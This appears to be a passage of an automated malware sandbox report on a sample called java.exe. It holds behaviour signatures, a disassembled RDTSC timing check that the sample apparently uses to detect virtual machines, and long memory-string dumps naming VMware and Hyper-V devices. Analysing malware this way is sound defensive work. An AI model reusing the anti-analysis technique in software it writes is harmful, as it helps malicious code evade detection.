Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\SysWOW64\winver.exe

RDTSC instruction interceptor: First address: 00000000047E2FAD second address: 00000000047E2FD6 instructions: 0x00000000 rdtsc 0x00000002 mov eax, edx 0x00000004 stosd 0x00000005 mov eax, dword ptr [ebx+004042B5h] 0x0000000b stosd 0x0000000c mov eax, dword ptr [ebx+004042B9h] 0x00000012 stosd 0x00000013 mov eax, dword ptr [ebx+00406820h] 0x00000019 stosd 0x0000001a mov eax, dword ptr [ebx+00406824h] 0x00000020 stosd 0x00000021 lea eax, dword ptr [ebp-00000700h] 0x00000027 sub edi, eax 0x00000029 rdtsc

Source: C:\Users\user\Desktop\java.exe

Code function: 0_2_02220005 rdtsc

0_2_02220005

Source: C:\Windows\explorer.exe

Window / User API: foregroundWindowGot 636

Jump to behavior

Source: C:\Windows\SysWOW64\winver.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_2-3045

Source: C:\Windows\SysWOW64\winver.exe TID: 6380	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe TID: 6380	Thread sleep time: -33000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe TID: 6572	Thread sleep count: 57 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe TID: 6380	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\winver.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\winver.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\ctfmon.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\smartscreen.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\ApplicationFrameHost.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\oobe\UserOOBEBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed

Source: SearchApp.exe, 0000000B.00000000.1825708254.0000024340FB1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dx0ma3d6fxrucbibtqempqemuae&or=w
Source: SearchApp.exe, 0000000B.00000003.1889783869.0000024B42245000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \Moneysoft\Pay\|vmware workstation 12 player\|vmpl5459
Source: SearchApp.exe, 0000000B.00000000.1845079625.0000024B43440000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: hyper-v
Source: SearchApp.exe, 0000000B.00000003.1889783869.0000024B42245000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: C:\E20-II\H\|vmware horizon client\|vdi38940FB-4BFC-874A\|voice recorder\|voice recording8034ocExplor\|watchtower research\|wtr1433874A-C0F2E0B9FA\|web intelligence rich client\|webi1405.exe\|vmware vsphere client\|vcenter5038200E}\Mic\|vmware horizon client\|vm ware8394C:\E20-II\|vpn access manager\|shrew3128tware.DebutVid\|whatsapp desktop\|whatsp9331t12535
Source: SearchApp.exe, 0000000B.00000003.1889783869.0000024B42245000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: TOSHIBA\|win-pak user interface\|winpak1154C14E77-02\|vmware horizon client\|view5503exe12536
Source: svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;I!
Source: explorer.exe, 00000003.00000000.1715884676.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3084368988.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1715884676.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3084368988.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1795027301.0000019E29F00000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.3016216647.0000019E29F00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SearchApp.exe, 0000000B.00000000.1882162991.0000024B54FD2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: s://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: explorer.exe, 00000003.00000000.1716420697.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: SearchApp.exe, 0000000B.00000000.1845864904.0000024B44184000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1930876854.0000024B5866C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: var fbpkgiid = fbpkgiid \|\| {}; fbpkgiid.page = '';;(function(BingAtWork) { if (typeof (bfbWsbTel) !== "undefined") { BingAtWork.WsbWebTelemetry.init({"cfg":{"e":true,"env":"PROD","t":"33d70a864599496b982a39f036f71122-2064703e-3a9d-4d90-8362-eec08dffe8e8-7176"},"ig":"892FA07886414BDF8EE1764A59FF39C6","ConversationId":"21139c92-d559-45ad-9d8f-73e2a64bf7e7","LogicalId":"30363daf-0e99-4b56-afae-f0c5eee8522a","tid":"651d53d035ec4c7eba14a4092e8aedb0","sid":"193A581F83766B4319784BBF829B6A16","uid":"","muid":"6666694284484FA1B35CCB433D42E997","puid":null,"isMtr":false,"tn":null,"tnid":null,"msa":false,"mkt":"en-us","b":"edge","eref":"Ref A: 651d53d035ec4c7eba14a4092e8aedb0 Ref B: MWHEEEAP0024F6D Ref C: 2023-10-04T12:00:16Z","vs":{"BAW12":"BFBBCEJIT2","BAW2":"BFBSPRC","BAW5":"PREMSBCUSTVERT","BAW7":"BFBPROWSBINITCF","CLIENT":"WINDOWS","COLUMN":"SINGLE","FEATURE.BFBBCEJIT":"1","FEATURE.BFBBCEJIT2":"1","FEATURE.BFBEDUQWQSCLKWSB":"1","FEATURE.BFBPROWSBINITCF":"1","FEATURE.BFBREFRPLAN":"1","FEATURE.BFBSPRC":"1","FEATURE.BFBWSBRS0830TF":"1","FEATURE.MSAAUTOJOIN":"1","FEATURE.MSBDSBIGLEAM":"1","FEATURE.MSBDSBORGV2":"1","FEATURE.MSBDSBORGV2CO":"1","FEATURE.MSBWDSBI920T1":"1","FEATURE.MSNSBT1":"1","FEATURE.WSBREF-T":"1","MKT":"EN-US","MS":"0","NEWHEADER":"1","THEME":"THBRAND","UILANG":"EN"},"dev":"DESKTOP","os":"WINDOWS","osver":"11","dc":"CoreUX-Prod-MWHE01","canvas":"","sci":true,"isMidgardEnabled":true,"isHomepage":false,"snrVersion":"2023.10.03.39942242"}); } })(BingAtWork \|\| (BingAtWork = {}));;_w.rms.js({'A:rms:answers:BoxModel:Framework':'https:\/\/r.bing.com\/rb\/18\/jnc,nj\/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w'});;
Source: SearchApp.exe, 0000000B.00000000.1845079625.0000024B43440000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: hyper-vOs and f
Source: SearchApp.exe, 0000000B.00000003.1889409291.0000024B42223000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 7247\|visual studio 2017\|devenv5729\|visual studio 2019\|devenv6360\|visual studio code\|visual code6793\|visual studio code\|vs code6786\|visual studio code\|visuak9719\|visual studio code\|visula8564\|visual studio code\|vscode4061\|visual studio code\|visau9561\|visual studio code\|visy9233\|visual studio code\|vius9283\|visual studio code - insiders\|vscode3094\|vlc media player\|vlcx9264\|vlc media player\|vcl6591\|vlc media player\|vkc8367\|vlc media player\|vld8570\|vlc media player\|vls7178\|vlc media player\|vlv7112\|vlc media player\|vlx7027\|vmware horizon client\|vm ware8394\|vmware horizon client\|vmare7220\|vmware horizon client\|view5503\|vmware horizon client\|vdi3894\|vmware vsphere client\|vcenter5038\|vmware vsphere client\|vspe6388\|vmware workstation 12 player\|vmpl5459\|vmware workstation 15 player\|vmplayer6438\|vnc viewer\|vncviewer7745\|vnc viewer\|vnd7746\|vnc viewer\|vnx6976\|voice recorder\|audio recording:wux:audio recording8489\|voice recorder\|sound recording:wux:sound recording8965\|voice recorder\|voice recording8034\|voice recorder\|audio recorder:wux:audio recorder7503\|voice recorder\|sound recorder:wux:sound recorder6282\|voice recorder\|record audio:wux:record audio7754\|voice recorder\|record sound:wux:record sound9205\|voice recorder\|record voice:wux:record voice8950\|voice recorder\|recording5394\|voice recorder\|recoder7796\|voice recorder\|recore7975\|voice recorder\|vioce7936\|voice recorder\|vocie7658\|voice recorder\|voicw7747\|voice recorder\|voive7567\|voice recorder\|recr7897\|voice recorder\|vice8986\|voice recorder\|voie7948\|voicemeeter\|voicemeter5588\|voicemod\|voice mod6034\|volume activation management tool 3.1\|vamt1\|voyager workstation administration\|vwa1\|vpn access manager\|shrew3128\|vyprvpn\|vyper3185*\|v
Source: explorer.exe, 00000003.00000002.3050739275.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
Source: SearchApp.exe, 0000000B.00000003.1889880818.0000024B5CB61000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|chrome655\|herramienta recortes\|sni2296\|hourly analysis program 4.50\|hap1\|gotomeeting\|go to meeting7076\|google chrome\|googlechrome10860\|google play music\|google music3025\|heroes of the storm\|heros4494\|google chrome\|gogle chrome12063\|integrated architecture builder\|iab1\|ic business manager\|icb1577\|hourly analysis program 5.01\|hap1\|hp scan and capture\|hpscan6530\|hourly analysis program 4.91\|hap1\|ibm integration toolkit 10.0.0.7\|iib403\|hyper-v manager\|hyper v4919\|hourly analysis program 4.90\|hap375\|hpe records manager\|trim1399\|ibm notes (basic)\|lotus3079\|hyper-v manager\|virtual5441\|ibm integration toolkit 10.0.0.10\|iib1\|idle (python 3.7 64-bit)\|idel5996\|hpe unified functional testing\|uft1\|hp support assistant\|hp ass4184\|hpe content manager\|trim1743\|hp support assistant\|hps5179\|ibm integration toolkit 10.0.0.11\|iib1\|idle (python 3.7 32-bit)\|idel6028\|hourly analysis program 5.10\|hap1\|idle (python gui)\|python idle5336\|ibm integration toolkit 10.0.0.15\|iib1\|image composite editor\|ice852\|import passwords\|lastpass1242\|hp unified functional testing\|uft1\|income tax planner workstation\|bna1\|instrument de decupare\|snipp3115\|huawei operation & maintenance system\|lmt1\|i.r.i.s. ocr registration\|iris1117\|ibm integration toolkit 10.0.0.13\|iib1\|ibm integration toolkit 10.0.0.12\|iib1\|hourly analysis program 5.11\|hap114\|internet download manager\|idn6970\|internet explorer\|internet exploerer12012\|internet download manager\|ib8855\|internet explorer\|interner explorer12898\|internet explorer\|internet exployer11237\|internet download manager*\|
Source: SearchApp.exe, 0000000B.00000003.1889409291.0000024B42223000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware horizon client\|vm ware8394
Source: explorer.exe, 00000003.00000000.1716420697.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000003.00000000.1713964202.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: explorer.exe, 00000003.00000000.1715884676.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: SearchApp.exe, 0000000B.00000000.1845305822.0000024B4402B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: ?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: SearchApp.exe, 0000000B.00000003.1889409291.0000024B42223000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 5470\|hourly analysis program 4.50\|hap1\|hourly analysis program 4.80\|hap1\|hourly analysis program 4.90\|hap375\|hourly analysis program 4.91\|hap1\|hourly analysis program 5.01\|hap1\|hourly analysis program 5.10\|hap1\|hourly analysis program 5.11\|hap114\|hp scan\|scanner6717\|hp scan\|hpscan6355\|hp scan and capture\|hpscan6530\|hp smart\|hp printer5188\|hp smart\|hpsmart6013\|hp smart\|hp sca9057\|hp support assistant\|hp ass4184\|hp support assistant\|hps5179\|hp unified functional testing\|uft1\|hpe content manager\|trim1743\|hpe records manager\|trim1399\|hpe unified functional testing\|uft1\|huawei operation & maintenance system\|lmt1\|hulu\|huliu7717\|hulu\|hullu8132\|hulu\|huluu8464\|hulu\|huku5970\|hulu\|hule8326\|hulu\|julu8142\|hulu\|hlu6552\|hulu\|huu6329\|hwmonitor\|cpui5297\|hy-8 7.50\|hy81652\|hyper-v manager\|hyper v4919\|hyper-v manager\|virtual5441\|hyper-v manager\|hyperv4178\|hyper-v manager\|vm4595\|hyperspace\|epic708\|i.r.i.s. ocr registration\|iris1117\|ibm integration toolkit 10.0.0.10\|iib1\|ibm integration toolkit 10.0.0.11\|iib1\|ibm integration toolkit 10.0.0.12\|iib1\|ibm integration toolkit 10.0.0.13\|iib1\|ibm integration toolkit 10.0.0.15\|iib1\|ibm integration toolkit 10.0.0.7\|iib403\|ibm notes\|lotus2695\|ibm notes (basic)\|lotus3079\|ic business manager\|icb1577\|icloud\|i cloud5863\|icloud\|icould6247\|icloud\|iclu6932\|icloud photos\|pictures4048\|icloud photos\|i cloud5074\|icloud photos\|iphoto5036\|idle (python 3.7 32-bit)\|idel6028\|idle (python 3.7 64-bit)\|idel5996\|idle (python gui)\|python idle5336\|iheartradio\|i heart4638\|image composite editor\|ice852\|import passwords\|lastpass1242\|income tax planner\|bna1\|income tax planner workstation\|bna1\|inform\|ddi600\|information assistant\|ia1\|instagram\|instagra,10481\|instagram\|instagrm10522\|instagram\|instgram9142\|instagram\|instra10065\|instagram\|insat9464\|instagram\|insra10498\|instagram\|insts10256\|instagram\|isnta8095\|instagram\|inss10150\|instagram\|insy10074\|instagram\|ista9884\|instrument de decupare\|snipp3115\|intapp time\|dte2830\|integrated architecture builder\|iab1\|integrated dealer systems - g2\|ids1249\|integrated operations system\|ios1\|intel(r) extreme tuning utility\|xtu1972\|intellij idea community edition 2019.1.3\|inteli4762\|interaction administrator\|ia2559\|interactive ruby\|irb416\|interactive sql\|dbisql959\|internet download accelerator\|ida842\|internet download manager\|idman7834\|internet download manager\|idmm8541\|internet download manager\|intr7920\|internet download manager\|don8066\|internet download manager\|id,7596\|internet download manager\|idn6970\|internet download manager\|imd6996\|internet download manager\|ine9116\|internet download manager\|
Source: SearchApp.exe, 0000000B.00000003.1889783869.0000024B42245000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: .exe\|vmware vsphere client\|vcenter5038
Source: SearchApp.exe, 0000000B.00000003.1889783869.0000024B42245000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: {7C5A40EF-A0\|vmware vsphere client\|vspe6388axis Merge v\|voice recorder\|recording5394-4BFC-874A-C0F\|whatsapp desktop\|whatsup8240ulzbot.exe125\|wacom tablet properties\|intuos6552}\MEGA L\|watchtower media suite\|wms1er.exe12532
Source: SearchApp.exe, 0000000B.00000003.1889783869.0000024B42245000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: {7\|vmware workstation 15 player\|vmplayer6438a\|whatsapp desktop\|whatapp7624{6D809377-6AF0\|whatsapp desktop\|whatss9497oogle Web Desig\|windows defender\|antivirus6866TerminalBrid\|visual studio code - insiders\|vscode3094re\|whatsapp desktop\|whats app6940p12539
Source: explorer.exe, 00000003.00000002.3050739275.0000000007A34000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1713964202.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: SearchApp.exe, 0000000B.00000003.1889409291.0000024B42223000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware workstation 12 player\|vmpl5459
Source: SearchApp.exe, 0000000B.00000003.1889409291.0000024B42223000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|hyper-v manager\|vm4595
Source: explorer.exe, 00000003.00000002.3084368988.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: SearchApp.exe, 0000000B.00000003.1889409291.0000024B42223000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware horizon client\|vmare7220
Source: RuntimeBroker.exe, 00000011.00000000.1948613471.000001D175C80000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000002.3093722755.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: SearchApp.exe, 0000000B.00000003.1889409291.0000024B42223000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware workstation 15 player\|vmplayer6438
Source: explorer.exe, 00000003.00000002.2977124293.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000003.00000002.3050739275.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: SearchApp.exe, 0000000B.00000003.1889783869.0000024B42245000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: C14E77-02\|vmware horizon client\|view5503
Source: SearchApp.exe, 0000000B.00000003.1889783869.0000024B42245000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|mstsc164340E\|virtual account numbers\|citi515tars.NET\Po\|visual studio code\|vscode4061mes\S4League\\|visual studio 2013\|devenv63460000000000000\|visual studio code\|visy9233teHome_1\BIN\rw\|virtual machine manager console\|vmm4890F2E\|visual studio code\|vius9283EXCEL.EXE12531\|unified agent desktop client\|uad569isual P\|windows 7 usb dvd download tool\|win 742196\|windows defender\|windos71090E}\Minitab\Min\|vmware horizon client\|vmare7220444B-8957-A\|wacom preferences*\|bamboo36521
Source: SearchApp.exe, 0000000B.00000003.1889783869.0000024B42245000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: {7\|vmware workstation 15 player\|vmplayer6438
Source: SearchApp.exe, 0000000B.00000003.1889783869.0000024B42245000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: C:\E20-II\H\|vmware horizon client\|vdi3894
Source: SearchApp.exe, 0000000B.00000000.1820370567.0000024339C3F000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1826418071.00000243411CA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: https://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: SearchApp.exe, 0000000B.00000003.1889783869.0000024B42245000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: {7C5\|whatsapp desktop\|watsapp9387\Moneysoft\Pay\|vmware workstation 12 player\|vmpl5459BFC-8\|windows defender\|widows7869Print CD\PrintC\|windows defender\|window defender6856B28FC2\|watchtower translation system\|wts244.AppRa\|windows explorer\|file:wux:file941tnyxGame\\|windows fax and scan\|scanb8973C5A40EF-A0FB\|windows fax and scan\|scan to computer8128l\|windows fax and scan\|scabn9201B-8957-A3773\|windows fax and scan\|sscan850464.exe12540\|windows live mail\|email:wux:email3973way S\|windows defender\|virus:wux:virus6030stmanC\|windows fax and scan\|scan and fax89874B-89\|windows fax and scan\|scana9910 Poker.exe1\|windows media player\|windows meda8882\Nuts\|windows media player\|windowsmedia9200-874A\|windows fax and scan\|hp scanner7923megaded\|windows fax and scan\|scanned767694012542
Source: svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;nlse]
Source: SearchApp.exe, 0000000B.00000003.1889783869.0000024B42245000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: {7C5A40EF-A0\|vmware vsphere client\|vspe6388
Source: SearchApp.exe, 0000000B.00000003.1889409291.0000024B42223000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|hyper-v manager\|hyperv4178
Source: SearchApp.exe, 0000000B.00000000.1825708254.0000024340FB1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=wQ%
Source: SearchApp.exe, 0000000B.00000003.1889409291.0000024B42223000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000003.1889880818.0000024B5CB61000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|hyper-v manager\|virtual5441
Source: SearchApp.exe, 0000000B.00000003.1899996863.0000024B5CB40000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware.View.Client12451
Source: winver.exe, 00000002.00000002.2975713129.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792087388.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2993202471.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: SearchApp.exe, 0000000B.00000003.1899996863.0000024B5CB40000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Evolution Soccer 2018\PES2018.exe12439C:\Ignition\IgnitionCasino.exe12440{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\SplashData\SplashID Safe\SplashID Safe.exe12440{6D809377-6AF0-444B-8957-A3773F02200E}\Native Instruments\Komplete Kontrol\Komplete Kontrol.exe1244025342asdf3333.StoppuhrTimer_1xbryz0n7krfa!App12441{6D809377-6AF0-444B-8957-A3773F02200E}\OWASP\Zed Attack Proxy\ZAP.exe12441{6D809377-6AF0-444B-8957-A3773F02200E}\Dell\Toad for Oracle 2015 R2 Suite\Toad for Oracle 12.8\Toad.exe12441{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\MySQL\MySQL Workbench 6.0 CE\MySQLWorkbench.exe12441212377Tik.7Tik-TikTokforWindows_da70t93mgq52j!App12442{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\AspenTech\APEx\Pe\ProcessExplorer.exe1244223140Kinderjoy.MovieMakerFree_4k9s1t26vykqt!App12443{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VoipConnect.com\VoipConnect\VoipConnect.exe12443{6D809377-6AF0-444B-8957-A3773F02200E}\SAS\JMPPRO\14\Jmp.exe12443{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\MetaGeek\inSSIDer Home\inSSIDerHome.exe12443{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Accops HySecure Client\vFVPNClientExe.exe12443Microsoft.Website.7304A502.2C8DDE7D12444{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Eye4\SuperIPCam.exe12444{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Kingston_SSD_Manager\KSM.exe1244528619Prajakta-Patil.VidmateTube-VideoDownloader_kxnpj9d1cxdgg!App1244621676OptimiliaStudios.iDownload-Manager_k42naep6bwmrc!App12446discord:///library/519338998791929866/launch12446A278AB0D.GangstarNewOrleans_h6adky7gbf63m!App12446{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\MTech\hotsos\client_na4\HotSOS.exe12446{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\TechSmith\Camtasia Studio 7\CamRecorder.exe12446{6D809377-6AF0-444B-8957-A3773F02200E}\Corel\Corel PaintShop Pro 2019 (64-bit)\Corel PaintShop Pro.exe12446{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\EPSON Software\Document Capture\DocumentCapture.exe12446{6D809377-6AF0-444B-8957-A3773F02200E}\Aruba Networks\Virtual Internet Agent\anuacui.exe12447RhapsodyInternationalInc.Napster_zddp1e08a7b6t!App12447{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Netease\HSA\HSAng.exe12447{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Free Spider Solitaire\FreeSpider.exe12447{6D809377-6AF0-444B-8957-A3773F02200E}\IVPN Client\IVPN Client.exe12447{6D809377-6AF0-444B-8957-A3773F02200E}\Tablet\Wacom\32\LCDSettings.exe12447Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy!App12448{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Droid4X\Droid4X.exe12448{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Adobe\Photoshop CS4\Photoshop.exe12448{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\HideMy.name VPN\Start.exe12448{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Loxysoft\ICC Agent\ICCAgentLauncher.exe12449{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\PST\ProposalWorks\PropBldr.exe12450{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\TeameeVo\Sims 4 Tray 